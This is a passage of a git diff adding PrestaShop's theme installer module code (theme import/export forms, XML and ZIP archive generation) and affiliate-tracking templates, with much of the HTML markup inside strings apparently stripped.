        '; + + $count = -1; + while (isset($hooked_module[++$count])) + if ($hooked_module[$count] == $row) + { + if (_PS_VERSION_ < '1.5') + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'hook_module` (`id_module`, `id_hook`, `position`) + VALUES ('.(int)$obj->id.', '.(int)Hook::get($hook[$count]).', '.(int)$position[$count].') + '); + else + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'hook_module` (`id_module`, `id_shop`, `id_hook`, `position`) + VALUES ('.(int)$obj->id.', '.(int)$id_shop.', '.(int)Hook::getIdByName($hook[$count]).', '.(int)$position[$count].') + '); + + foreach ($exceptions[$count] as $filename) + if (!empty($filename)) + if (_PS_VERSION_ < '1.5') + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'hook_module_exceptions` (`id_module`, `id_hook`, `file_name`) + VALUES ('.(int)$obj->id.', '.(int)Hook::get($hook[$count]).', "'.pSQL($filename).'") + '); + else + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'hook_module_exceptions` (`id_module`, id_shop, `id_hook`, `file_name`) + VALUES ('.(int)$obj->id.', '.(int)$id_shop.', '.(int)Hook::getIdByName($hook[$count]).', "'.pSQL($filename).'") + '); + } + } + } + + if (_PS_VERSION_ > '1.5') + { + $theme = Db::getInstance()->getRow('SELECT * FROM `'._DB_PREFIX_.'theme` WHERE `name` LIKE \''.(string)$this->xml['name'].'\''); + $shop = new Shop((int)$id_shop); + $shop->id_theme = (int)$theme['id_theme']; + $shop->update(); + } + } + + // note : theme was previously created at this point. + // It is now created during displayForm3 + $result = $this->updateImages(); + if (!isset($result['error'])) + $msg .= $this->l('Images have been correctly updated in database'); + else + { + $errors = ''. + $this->l('Warning: Copy/Paste your errors if you want to manually set the image type (in the "Images" page under the "Preferences" menu):'). + '
        '; + $errors .= $this->l('Some kind of image could not be added because they exists. Here\'s the list:'); + $errors .= '
          '; + foreach ($result['error'] as $error) + $errors .= '
        • '. + $this->l('Name image type:').' '.$error['name']. + ' ('.$this->l('Width:').' '.$error['width'].'px, '.$this->l('Height:').' '.$error['height'].'px)
        • '; + $errors .= '
        '; + } + + if (isset($error)) + $this->_msg .= parent::displayError($errors); + + if (!empty($msg)) + $this->_msg .= parent::displayConfirmation($msg); + + $this->_html .= ' + + +
        '; + + } + + private function displayForm3() + { + $res = true; + $theme_directory = Tools::getValue('theme_directory'); + $xml = simplexml_load_file(_IMPORT_FOLDER_.XMLFILENAME); + $this->xml = $xml; + + if ($this->selected_variations && count($this->selected_variations) > 0) + { + $ok = array(); + foreach ($this->selected_variations as $variation) + { + if ($variation == $this->default_theme) + continue; + + if ($variation != $theme_directory) + $theme_directory = $variation; + + if (empty($theme_directory)) + $theme_directory = str_replace(' ', '', (string)$this->xml['name']); + + if (_PS_VERSION_ < '1.5') + { + self::recurseCopy(_IMPORT_FOLDER_.'themes/'.$variation, _PS_ALL_THEMES_DIR_.$variation); + if (file_exists(_PS_ALL_THEMES_DIR_.$variation)) + $ok[] = $variation; + } + else + { + $target_dir = _PS_ALL_THEMES_DIR_.$theme_directory; + + $res &= self::recurseCopy(_IMPORT_FOLDER_.'themes/'.$variation, $target_dir); + $new_theme = new Theme(); + $new_theme->name = (string)$this->xml['name']; + $new_theme->directory = $theme_directory; + $name_exist = true; + + // Check name theme + $themes = $new_theme->getThemes(); + foreach ($themes as $row) + if ($row->name == $new_theme->name) + $name_exist &= false; + + if ($name_exist) + $res &= $new_theme->add(); + + if ($res) + $ok[] = $variation; + } + } + + if (count($ok) > 0) + { + $msg = $this->l('The following themes were successfully imported').':
          '; + foreach ($ok as $row) + $msg .= '
        • '.$row; + $msg .= '
        '; + $this->_msg = parent::displayConfirmation($msg); + } + } + self::getModules(); + if (file_exists(_IMPORT_FOLDER_.'doc') && count($xml->docs->doc) != 0) + self::loadDocForm(); + $this->_html .= '
        '; + if ($this->to_install && count($this->to_install) > 0) + { + $var = ''; + foreach ($this->to_install as $row) + if (file_exists(_IMPORT_FOLDER_.'modules/'.$row)) + { + $module_already_exists = file_exists(_PS_MODULE_DIR_.$row); + $var .= ' +
        '; + } + + if ($var != '') + $this->_html .= ' +
        + '.$this->l('Select the theme\'s modules you wish to install').' +

        '.$var.'

        +
        +

         

        '; + } + + $var = ''; + + if (is_array($this->to_enable) && !empty($this->to_enable)) + $list_to_disabled = array_diff($this->native_modules, $this->to_enable); + else + $list_to_disabled = $this->native_modules; + + foreach ($list_to_disabled as $row) + { + $obj = Module::getInstanceByName($row); + if (Validate::isLoadedObject($obj)) + if (!file_exists(_IMPORT_FOLDER_.'modules/'.$row) && $obj->tab == 'front_office_features') + { + $var .= ' +
        '; + } + } + + if (!empty($var)) + $this->_html .= ' +
        + '.$this->l('Select modules which must be disabled for this theme').' +

        '.$var.'

        +
        +

         

        '; + + $this->_html .= ' +
        + '.$this->l('Native modules configuration').' +

        '.$this->l('This option determines which existing native modules have to be enabled/disabled').'

        +
          +
        • + + +
        • +
        • + + +
        • +
        • + + +
        • +
        +
        +

         

        '; + + if ($this->context->shop->isFeatureActive()) + { + $helper_form = new HelperForm(); + + $this->_html .= ' +
        + '.$this->l('Select your shop that will use this theme:').' +
        '.$helper_form->renderAssoShop().'
        +
        +

         

        '; + } + + $this->_html .= ' +

         

        + + +
        + '; + } + + private function displayForm2() + { + $iso = $this->context->language->iso_code; + $xml = simplexml_load_file(_IMPORT_FOLDER_.XMLFILENAME); + $this->xml = $xml; + $res = $xml->xpath('/theme/descriptions/description[@iso="'.$iso.'"]'); + $description = (isset($res[0]) ? (string)$res[0] : ''); + $this->_msg = parent::displayConfirmation( + $this->l('You are going to install the following theme').' :
        '. + $xml['name'].' v'.$xml['version'].'
        '. + (strlen($description) ? ''.$description.'
        ' : ''). + $this->l('This theme is for Prestashop').' v'. + $xml->variations->variation[0]['from']. + ' -> v'.$xml->variations->variation[0]['to'].'
        '. + (file_exists(_PS_ALL_THEMES_DIR_.strval($xml->variations->variation[0]['directory'])) ? $this->l('Warning : You already have a theme with the same folder\'s name') : '').' +
        '); + if (file_exists(_IMPORT_FOLDER_.'doc') && count($xml->docs->doc) != 0) + self::loadDocForm(); + if (count($xml->variations->variation) > 1) + { + $count = 0; + $var = ''; + while ($xml->variations->variation[++$count]) + { + $foo = (file_exists(_PS_ALL_THEMES_DIR_.strval($xml->variations->variation[$count]['directory'])) ? 1 : 0); + $var .= '
        '; + } + $this->_html .= ' +
        + '.$this->l('Choose the variations that you wish to import').' + +
        + +

        '.$this->l('Uncheck this field if you do not want to install the main theme.').'

        +
        + +
        + +
        + +
        + +
        +

        '.$this->l('Select the variations you wish to import').'

        +
        +

        '.$this->l('Note: The directory of the variation will be prefixed by the theme directory.').'

        ' + .$var.'
        + + +
        '; + } + else + $this->_html .= ' + + + '; + $this->_html .= ''; + } + + private function getThemes14() + { + $tmp = scandir(_PS_ALL_THEMES_DIR_); + $themes = array(); + foreach ($tmp as $row) + if (is_dir(_PS_ALL_THEMES_DIR_.$row) && file_exists(_PS_ALL_THEMES_DIR_.$row.'/index.tpl') && $row != 'prestashop') + $themes[] = $row; + + return $themes; + } + + private function displayForm1() + { + $installed_themes = ''; + if (_PS_VERSION_ < '1.5') + { + $theme_list = $this->getThemes14(); + + foreach ($theme_list as $row) + $installed_themes .= ''; + } + else + { + $theme_list = Theme::getThemes(); + + foreach ($theme_list as $theme) + $installed_themes .= ''; + } + + if (count($theme_list) > 0) + { + $this->_html .= ' +
        + '.$this->l('Export a theme').' + '; + $this->_html .= '
        '; + $this->_html .= '
        + +
        + '; + $this->_html .= '
        '; + $this->_html .= '
        +
         
        '; + } + $this->_html .= ' +
        + '.$this->l('Import from your computer').' +
        + + +
        + +

        '.$this->l('Where is your zip file?').'

        +
        + +
        +
        +
         
        + '; + $link_url = (Tools::getValue('linkurl') ? Tools::safeOutput(Tools::getValue('linkurl')) : 'http://'); + $this->_html .= ' +
        + '.$this->l('Import from the web').' +
        + +
        + +
        + +
        +
        +
         
        '; + + // Import folder is located in the module directory + $import_dir = scandir(_IMPORT_FOLDER_); + $list = array(); + foreach ($import_dir as $row) + if (substr(_IMPORT_FOLDER_.$row, -4) == '.zip') + $list[] = $row; + $import_dir = ''; + foreach ($list as $row) + $import_dir .= ''; + $this->_html .= ' +
        + '.$this->l('Import from FTP').' +
        + +
        + +

        '.sprintf( + $this->l('Select the ZIP file you want to use (previously uploaded in your %s directory)'), + 'modules/themeinstallator/import/' + ).'

        +
        + +
        +
        +
         
        '; + } +/* +** EXPORT FUNCTIONS ######################################## +*/ + public function getCurrentTheme($id_theme) + { + if (_PS_VERSION_ < '1.5') + { + $theme = array( + 'id' => $id_theme, + 'name' => $id_theme, + 'directory' => $id_theme + ); + } + else + { + $theme = new Theme((int)$id_theme); + if (!$theme->id) + throw new PrestaShopException('Unable to load theme'); + $theme = get_object_vars($theme); + } + + return $theme; + } + + private function displayInformations() + { + $theme = $this->getCurrentTheme(Tools::getValue('id_theme')); + + $this->_html .= ''; + if ($this->error === false && class_exists('ZipArchive', false) && ($zip = new ZipArchive())) + { + if (!($zip->open(_EXPORT_FOLDER_.'archive.zip', ZipArchive::OVERWRITE) === true) || !$zip->addEmptyDir('test') === true) + $this->_html .= parent::displayError(sprintf( + $this->l('Permission denied. Please set permisssion to 666 on this folder: %s'), + _EXPORT_FOLDER_ + )); + $zip->close(); + if ($this->error === false) + $this->_html .= parent::displayConfirmation( + sprintf($this->l('Fill this formular to export the theme %s in a ZIP file'), $theme['name']) + ); + } + } + + private function archiveThisFile($obj, $file, $server_path, $archive_path) + { + if (is_dir($server_path.$file)) + { + $dir = scandir($server_path.$file); + foreach ($dir as $row) + if ($row != '.' && $row != '..') + $this->archiveThisFile($obj, $row, $server_path.$file.'/', $archive_path.$file.'/'); + } + elseif (!$obj->addFile($server_path.$file, $archive_path.$file)) + $this->error = true; + } + + /* + ** Generate Archive ! + */ + private function generateArchive() + { + $count = 0; + $zip = new ZipArchive(); + $zip_file_name = md5(time()).'.zip'; + if ($zip->open(_EXPORT_FOLDER_.$zip_file_name, ZipArchive::OVERWRITE) === true) + { + if (!$zip->addFromString('Config.xml', $this->xml_file)) + $this->error = true; + while (isset($_FILES['mydoc_'.++$count])) + { + if (!$_FILES['mydoc_'.$count]['name']) + continue; + if (!$zip->addFile($_FILES['mydoc_'.$count]['tmp_name'], 'doc/'.$_FILES['mydoc_'.$count]['name'])) + $this->error = true; + } + foreach ($this->variations as $row) + { + // row = [name]¤[directory]¤[from]¤[to] + // @todo : use array in post instead of hedgehog + $array = explode('¤', $row); + // archive this file using $row + $this->archiveThisFile($zip, $array[1], _PS_ALL_THEMES_DIR_, 'themes/'); + } + foreach ($this->to_export as $row) + if (!in_array($row, $this->native_modules)) + $this->archiveThisFile($zip, $row, dirname(__FILE__).'/../../modules/', 'modules/'); + $zip->close(); + if ($this->error === false) + { + if (ob_get_length() > 0) + ob_end_clean(); + header('Content-Type: multipart/x-zip'); + header('Content-Disposition:attachment;filename="'.$zip_file_name.'"'); + readfile(_EXPORT_FOLDER_.$zip_file_name); + unlink(_EXPORT_FOLDER_.$zip_file_name); + die; + } + } + $this->_html .= parent::displayError($this->l('An error occurred during the archive generation')); + } + + /* + ** XML Generation, all vars should be GOOD at this point + */ + private function generateXML() + { + $theme = new SimpleXMLElement(''); + $theme->addAttribute('version', Tools::getValue('version')); + $theme->addAttribute('name', Tools::htmlentitiesUTF8(Tools::getValue('theme_name'))); + $theme->addAttribute('directory', Tools::htmlentitiesUTF8(Tools::getValue('theme_directory'))); + $author = $theme->addChild('author'); + $author->addAttribute('name', Tools::htmlentitiesUTF8(Tools::getValue('author_name'))); + $author->addAttribute('email', Tools::htmlentitiesUTF8(Tools::getValue('email'))); + $author->addAttribute('url', Tools::htmlentitiesUTF8(Tools::getValue('website'))); + + $descriptions = $theme->addChild('descriptions'); + $languages = Language::getLanguages(); + foreach ($languages as $language) + { + $val = Tools::htmlentitiesUTF8(Tools::getValue('body_title_'.$language['id_lang'])); + $description = $descriptions->addChild('description', Tools::htmlentitiesUTF8($val)); + $description->addAttribute('iso', $language['iso_code']); + } + + $variations = $theme->addChild('variations'); + if (count($this->variations)) + foreach ($this->variations as $row) + { + $array = explode('¤', $row); + $variation = $variations->addChild('variation'); + $variation->addAttribute('name', Tools::htmlentitiesUTF8($array[0])); + $variation->addAttribute('directory', $array[1]); + $variation->addAttribute('from', $array[2]); + $variation->addAttribute('to', $array[3]); + } + + $docs = $theme->addChild('docs'); + if (isset($this->user_doc)) + foreach ($this->user_doc as $row) + { + $array = explode('¤', $row); + $doc = $docs->addChild('doc'); + $doc->addAttribute('name', $array[0]); + $doc->addAttribute('path', $array[1]); + } + + $modules = $theme->addChild('modules'); + if (isset($this->to_export)) + foreach ($this->to_export as $row) + if (!in_array($row, $this->native_modules)) + { + $module = $modules->addChild('module'); + $module->addAttribute('action', 'install'); + $module->addAttribute('name', $row); + } + foreach ($this->to_enable as $row) + { + $module = $modules->addChild('module'); + $module->addAttribute('action', 'enable'); + $module->addAttribute('name', $row); + } + foreach ($this->to_disable as $row) + { + $module = $modules->addChild('module'); + $module->addAttribute('action', 'disable'); + $module->addAttribute('name', $row); + } + + $hooks = $modules->addChild('hooks'); + foreach ($this->to_hook as $row) + { + $array = explode(';', $row); + $hook = $hooks->addChild('hook'); + $hook->addAttribute('module', $array[0]); + $hook->addAttribute('hook', $array[1]); + $hook->addAttribute('position', $array[2]); + if (!empty($array[3])) + $hook->addAttribute('exceptions', $array[3]); + } + + $images = $theme->addChild('images'); + foreach ($this->image_list as $row) + { + $array = explode(';', $row); + $image = $images->addChild('image'); + $image->addAttribute('name', Tools::htmlentitiesUTF8($array[0])); + $image->addAttribute('width', $array[1]); + $image->addAttribute('height', $array[2]); + $image->addAttribute('products', $array[3]); + $image->addAttribute('categories', $array[4]); + $image->addAttribute('manufacturers', $array[5]); + $image->addAttribute('suppliers', $array[6]); + $image->addAttribute('scenes', $array[7]); + } + $this->xml_file = $theme->asXML(); + } + + /* + ** Init modules and Hooks + */ + private function initList() + { + $this->native_modules = self::getTheNativeModules(); + + if (_PS_VERSION_ < '1.5') + { + $this->module_list = Db::getInstance()->ExecuteS(' + SELECT id_module, name, active FROM `'._DB_PREFIX_.'module` + '); + + $this->hook_list = Db::getInstance()->ExecuteS(' + SELECT a.id_hook, a.name as name_hook, c.position, c.id_module, d.name as name_module, GROUP_CONCAT(hme.file_name, ",") as exceptions + FROM `'._DB_PREFIX_.'hook` a + LEFT JOIN `'._DB_PREFIX_.'hook_module` c ON c.id_hook = a.id_hook + LEFT JOIN `'._DB_PREFIX_.'module` d ON c.id_module = d.id_module + LEFT OUTER JOIN `'._DB_PREFIX_.'hook_module_exceptions` hme ON (hme.id_module = c.id_module AND hme.id_hook = a.id_hook) + GROUP BY id_module, id_hook + ORDER BY name_module + '); + } + else + { + // Get id shop for this seleted theme + $id_shop = Db::getInstance()->getValue('SELECT `id_shop` FROM `'._DB_PREFIX_.'shop` WHERE `id_theme` = '.(int)Tools::getValue('id_theme')); + + // Select the list of module for this shop + $this->module_list = Db::getInstance()->executeS(' + SELECT m.`id_module`, m.`name`, m.`active`, ms.`id_shop` + FROM `'._DB_PREFIX_.'module` m + LEFT JOIN `'._DB_PREFIX_.'module_shop` ms On (m.`id_module` = ms.`id_module`) + WHERE ms.`id_shop` = '.(int)$id_shop.' + '); + + // Select the list of hook for this shop + $this->hook_list = Db::getInstance()->executeS(' + SELECT h.`id_hook`, h.`name` as name_hook, hm.`position`, hm.`id_module`, m.`name` as name_module, GROUP_CONCAT(hme.`file_name`, ",") as exceptions + FROM `'._DB_PREFIX_.'hook` h + LEFT JOIN `'._DB_PREFIX_.'hook_module` hm ON hm.`id_hook` = h.`id_hook` + LEFT JOIN `'._DB_PREFIX_.'module` m ON hm.`id_module` = m.`id_module` + LEFT OUTER JOIN `'._DB_PREFIX_.'hook_module_exceptions` hme ON (hme.`id_module` = hm.`id_module` AND hme.`id_hook` = h.`id_hook`) + WHERE hm.`id_shop` = '.(int)$id_shop.' + GROUP BY `id_module`, `id_hook` + ORDER BY `name_module` + '); + } + + foreach ($this->hook_list as &$row) + $row['exceptions'] = trim(preg_replace('/(,,+)/', ',', $row['exceptions']), ','); + } + + /* + ** Fill module's vars + */ + private function getModuleState() + { + self::initList(); + foreach ($this->module_list as $array) + { + if (!self::checkParentClass($array['name'])) + continue; + if (in_array($array['name'], $this->native_modules)) + { + if ($array['active'] == 1) + $this->to_enable[] = $array['name']; + else + $this->to_disable[] = $array['name']; + } + elseif ($array['active'] == 1) + $this->to_install[] = $array['name']; + } + foreach ($this->native_modules as $str) + { + $flag = 0; + if (!self::checkParentClass($str)) + continue; + foreach ($this->module_list as $tmp) + if (in_array($str, $tmp)) + { + $flag = 1; + break; + } + if ($flag == 0) + $this->to_disable[] = $str; + } + } + + /* + ** Fill Hook Var + */ + private function getHookState() + { + if ($this->to_install !== false) + foreach ($this->to_install as $string) + foreach ($this->hook_list as $tmp) + if ($tmp['name_module'] == $string) + $this->to_hook[] = $string.';'.$tmp['name_hook'].';'.$tmp['position'].';'.$tmp['exceptions']; + if ($this->to_enable !== false) + foreach ($this->to_enable as $string) + foreach ($this->hook_list as $tmp) + if ($tmp['name_module'] == $string) + $this->to_hook[] = $string.';'.$tmp['name_hook'].';'.$tmp['position'].';'.$tmp['exceptions']; + } + + /* + ** Fill Image var + */ + private function getImageState() + { + $table = Db::getInstance()->executeS(' + SELECT name, width, height, products, categories, manufacturers, suppliers, scenes + FROM `'._DB_PREFIX_.'image_type` + '); + foreach ($table as $row) + $this->image_list[] = $row['name'].';'.$row['width'].';'.$row['height'].';'. + ($row['products'] == 1 ? 'true' : 'false').';'. + ($row['categories'] == 1 ? 'true' : 'false').';'. + ($row['manufacturers'] == 1 ? 'true' : 'false').';'. + ($row['suppliers'] == 1 ? 'true' : 'false').';'. + ($row['scenes'] == 1 ? 'true' : 'false'); + } + + /* + ** Takes current and submited theme's informations + */ + private function getThemeVariations() + { + // @todo check theme variation pertinence + $count = 0; + $this->variations[] = Tools::getValue('theme_name').'¤'.Tools::getValue('theme_directory').'¤'.Tools::getValue('compa_from').'¤'.Tools::getValue('compa_to'); + while (Tools::isSubmit('myvar_'.++$count)) + { + if ((int)Tools::getValue('myvar_'.$count) == -1) + continue; + $name = Tools::getValue('themevariationname_'.$count); + $dir = Tools::getValue('myvar_'.$count); + $from = Tools::getValue('compafrom_'.$count); + $to = Tools::getValue('compato_'.$count); + $this->variations[] = $name.'¤'.$dir.'¤'.$from.'¤'.$to; + } + } + + private function getDocumentation() + { + $count = 0; + while (Tools::isSubmit('documentationName_'.++$count)) + { + if (!($filename = Tools::htmlentitiesUTF8($_FILES['mydoc_'.$count]['name']))) + continue; + $name = Tools::htmlentitiesUTF8(Tools::getValue('documentationName_'.$count)); + $this->user_doc[] = $name.'¤doc/'.$filename; + } + } + + private function checkPostedDatas() + { + $mail = Tools::getValue('email'); + $website = Tools::getValue('website'); + + if ($mail && !preg_match('#^[\w.-]+@[\w.-]+\.[a-zA-Z]{2,6}$#', $mail)) + $this->_html .= parent::displayError($this->l('There is an error in your e-mail syntax!')); + elseif ($website && (!Validate::isURL($website) || !Validate::isAbsoluteUrl($website))) + $this->_html .= parent::displayError($this->l('There is an error in your URL syntax!')); + elseif (!$this->checkVersionsAndCompatibility() || !$this->checkNames() || !$this->checkDocumentation()) + return false; + else + return true; + return false; + } + + /* + ** Checks posted documentation + */ + private function checkDocumentation() + { + $count = 0; + $extensions = array('.pdf', '.txt'); + while ($this->error == false && isset($_FILES['mydoc_'.++$count])) + { + if (!$_FILES['mydoc_'.$count]['name']) + continue; + $extension = strrchr($_FILES['mydoc_'.$count]['name'], '.'); + $name = Tools::getValue('documentationName_'.$count); + + if (!in_array($extension, $extensions)) + $this->_html .= parent::displayError($this->l('File extension must be .txt or .pdf')); + elseif ($_FILES['mydoc_'.$count]['error'] > 0 || $_FILES['mydoc_'.$count]['size'] > 1048576) + $this->_html .= parent::displayError($this->l('An error occurred during documentation upload')); + elseif (!$name || !Validate::isGenericName($name) || strlen($name) > MAX_NAME_LENGTH) + $this->_html .= parent::displayError($this->l('Please enter a valid documentation name')); + } + if ($this->error == true) + return false; + return true; + } + + /* + ** Checks theme's and author's name syntax, existence and length + */ + private function checkNames() + { + $author = Tools::getValue('author_name'); + $name = Tools::getValue('theme_name'); + $count = 0; + + if (!$author || !Validate::isGenericName($author) || strlen($author) > MAX_NAME_LENGTH) + $this->_html .= parent::displayError($this->l('Please enter a valid author name')); + elseif (!$name || !Validate::isGenericName($name) || strlen($name) > MAX_NAME_LENGTH) + $this->_html .= parent::displayError($this->l('Please enter a valid theme name')); + while ($this->error === false && Tools::isSubmit('myvar_'.++$count)) + { + if ((int)Tools::getValue('myvar_'.$count) == -1) + continue; + $name = Tools::getValue('themevariationname_'.$count); + if (!$name || !Validate::isGenericName($name) || strlen($name) > MAX_NAME_LENGTH) + $this->_html .= parent::displayError($this->l('Please enter a valid theme variation name')); + } + if ($this->error == true) + return false; + return true; + } + + private function checkVersionsAndCompatibility() + { + $count = 0; + $exp = '#^[0-9]+[.]+[0-9.]*[0-9]$#'; + + if (!preg_match('#^[0-9][.][0-9]$#', Tools::getValue('version')) || + !preg_match($exp, Tools::getValue('compa_from')) || !preg_match($exp, Tools::getValue('compa_to')) || + version_compare(Tools::getValue('compa_from'), Tools::getValue('compa_to')) == 1) + $this->_html .= parent::displayError( + $this->l('Syntax error on version field. Only digits and points are allowed and the compatibility should be increasing or equal.')); + while ($this->error === false && Tools::isSubmit('myvar_'.++$count)) + { + if ((int)Tools::getValue('myvar_'.$count) == -1) + continue; + $from = Tools::getValue('compafrom_'.$count); + $to = Tools::getValue('compato_'.$count); + if (!preg_match($exp, $from) || !preg_match($exp, $to) || version_compare($from, $to) == 1) + $this->_html .= parent::displayError( + $this->l('Syntax error on version. Only digits and points are allowed and compatibility should be increasing or equal.')); + } + if ($this->error == true) + return false; + return true; + } + + private function modulesInformationForm() + { + if ($this->to_install && count($this->to_install)) + { + $tmp = ''; + foreach ($this->to_install as $key => $val) + $tmp .= 'to_export) ? 'checked="checked"' : '').'/> +
        '; + $this->_html .= ' +
        + '.$this->l('Modules').' + +
        '.$tmp.'
        +
        '.$this->l('It\'s a list of installed modules which are not native.').'
        +
        +

         

        '; + } + } + + private function authorInformationForm() + { + $employee = $this->context->employee; + $mail = Tools::getValue('email') ? Tools::htmlentitiesUTF8(Tools::getValue('email')) : Tools::htmlentitiesUTF8($employee->email); + $author = Tools::getValue('author_name') ? Tools::htmlentitiesUTF8(Tools::getValue('author_name')) : Tools::htmlentitiesUTF8(($employee->firstname).' '.$employee->lastname); + $website = Tools::getValue('website') ? Tools::htmlentitiesUTF8(Tools::getValue('website')) : Tools::getHttpHost(true); + + $this->_html .= ' +
        + '.$this->l('Author').' + +
        + +
        + +
        + +
        + +
        + +
        +
        +
         
        '; + } + + private function themeInformationForm() + { + $default_language = (int)$this->context->language->id; + $languages = Language::getLanguages(); + $div_lang_name = 'title'; + $theme = $this->getCurrentTheme(Tools::getValue('id_theme')); + + $theme_name = Tools::getValue('theme_name') ? Tools::getValue('theme_name') : $theme['name']; + $theme_directory = Tools::getValue('theme_directory') ? Tools::getValue('theme_directory') : $theme['directory']; + + $this->_html .= ' +
        + '.$this->l('Theme').' + +
        + +

        '.$this->l('Your theme\'s name').'

        +
        + +
        + +
        + +
        '; + foreach ($languages as $language) + { + $val = Tools::htmlentitiesUTF8(Tools::getValue('body_title_'.$language['id_lang'])); + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $default_language, $div_lang_name, 'title', true); + $this->_html .= ' +

        '.$this->l('Enter a short description of your theme').'

        +
        '; + $val = Tools::getValue('version') ? Tools::getValue('version') : DEFAULT_T_VER; + $this->_html .= ' + +
        + +

        '.$this->l('Your theme\'s version').'

        +
        '; + $val = Tools::getValue('compa_from') ? Tools::getValue('compa_from') : DEFAULT_COMPATIBILITY_FROM; + $val2 = Tools::getValue('compa_to') ? Tools::getValue('compa_to') : DEFAULT_COMPATIBILITY_TO; + $this->_html .= ' +
        + +
        + +
        +
        +
        + +
        + +
        +
        +

         

        '; + } + + private function docInformationForm() + { + $val = Tools::htmlentitiesUTF8(Tools::getValue('documentation')); + $this->_html .= ' + +

        '. + $this->l('Give the user some help. Add a field by clicking here').' + add.
        '. + $this->l('File extension must be .txt or .pdf').' +

        + +
        + '; + $this->_html .= '

         

        '; + } + + private function variationInformationForm() + { + $this->_html .= ' + +

        '.$this->l('Select theme to include and its compatibility.').'

        + + +
        +
         
        '; + $this->_html .= ' +
        +
         
        +   + + '; + } +} + diff --git a/modules/themeinstallator/translations/en.php b/modules/themeinstallator/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/trackingfront/account.tpl b/modules/trackingfront/account.tpl new file mode 100755 index 0000000..febfc17 --- /dev/null +++ b/modules/trackingfront/account.tpl @@ -0,0 +1,69 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +
        {l s='Affiliation space' mod='trackingfront'}
        + +
        +
        +
        +
        + + + +

        {l s='From:' mod='trackingfront'}

        +

        {l s='To:' mod='trackingfront'}

        + +
        +
        +
        +
        {$referrer->name} + {foreach from=$displayTab key=data item=label} +
        {$label}
        + {/foreach} +
        +
        +
        + {* + + + + + + + + + + + + + + + + + + +
        {l s='ID' mod='trackingfront'}{l s='Name' mod='trackingfront'}{l s='Visitors' mod='trackingfront'}{l s='Visits' mod='trackingfront'}{l s='Pages' mod='trackingfront'}{l s='Reg.' mod='trackingfront'}{l s='Ord.' mod='trackingfront'}{l s='Sales' mod='trackingfront'}{l s='Cart' mod='trackingfront'}{l s='Reg. rate' mod='trackingfront'}{l s='Ord. rate' mod='trackingfront'}{l s='Click' mod='trackingfront'}{l s='¤' mod='trackingfront'}{l s='%' mod='trackingfront'}
        + *} diff --git a/modules/trackingfront/footer.tpl b/modules/trackingfront/footer.tpl new file mode 100755 index 0000000..bc94b79 --- /dev/null +++ b/modules/trackingfront/footer.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + \ No newline at end of file diff --git a/modules/trackingfront/header.tpl b/modules/trackingfront/header.tpl new file mode 100755 index 0000000..5c3fbff --- /dev/null +++ b/modules/trackingfront/header.tpl @@ -0,0 +1,36 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + + PrestaShop™ - {l s='Affiliation' mod='trackingfront'} + + + + + + diff --git a/modules/trackingfront/index.php b/modules/trackingfront/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/trackingfront/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/trackingfront/login.tpl b/modules/trackingfront/login.tpl new file mode 100755 index 0000000..e9f41cb --- /dev/null +++ b/modules/trackingfront/login.tpl @@ -0,0 +1,56 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If 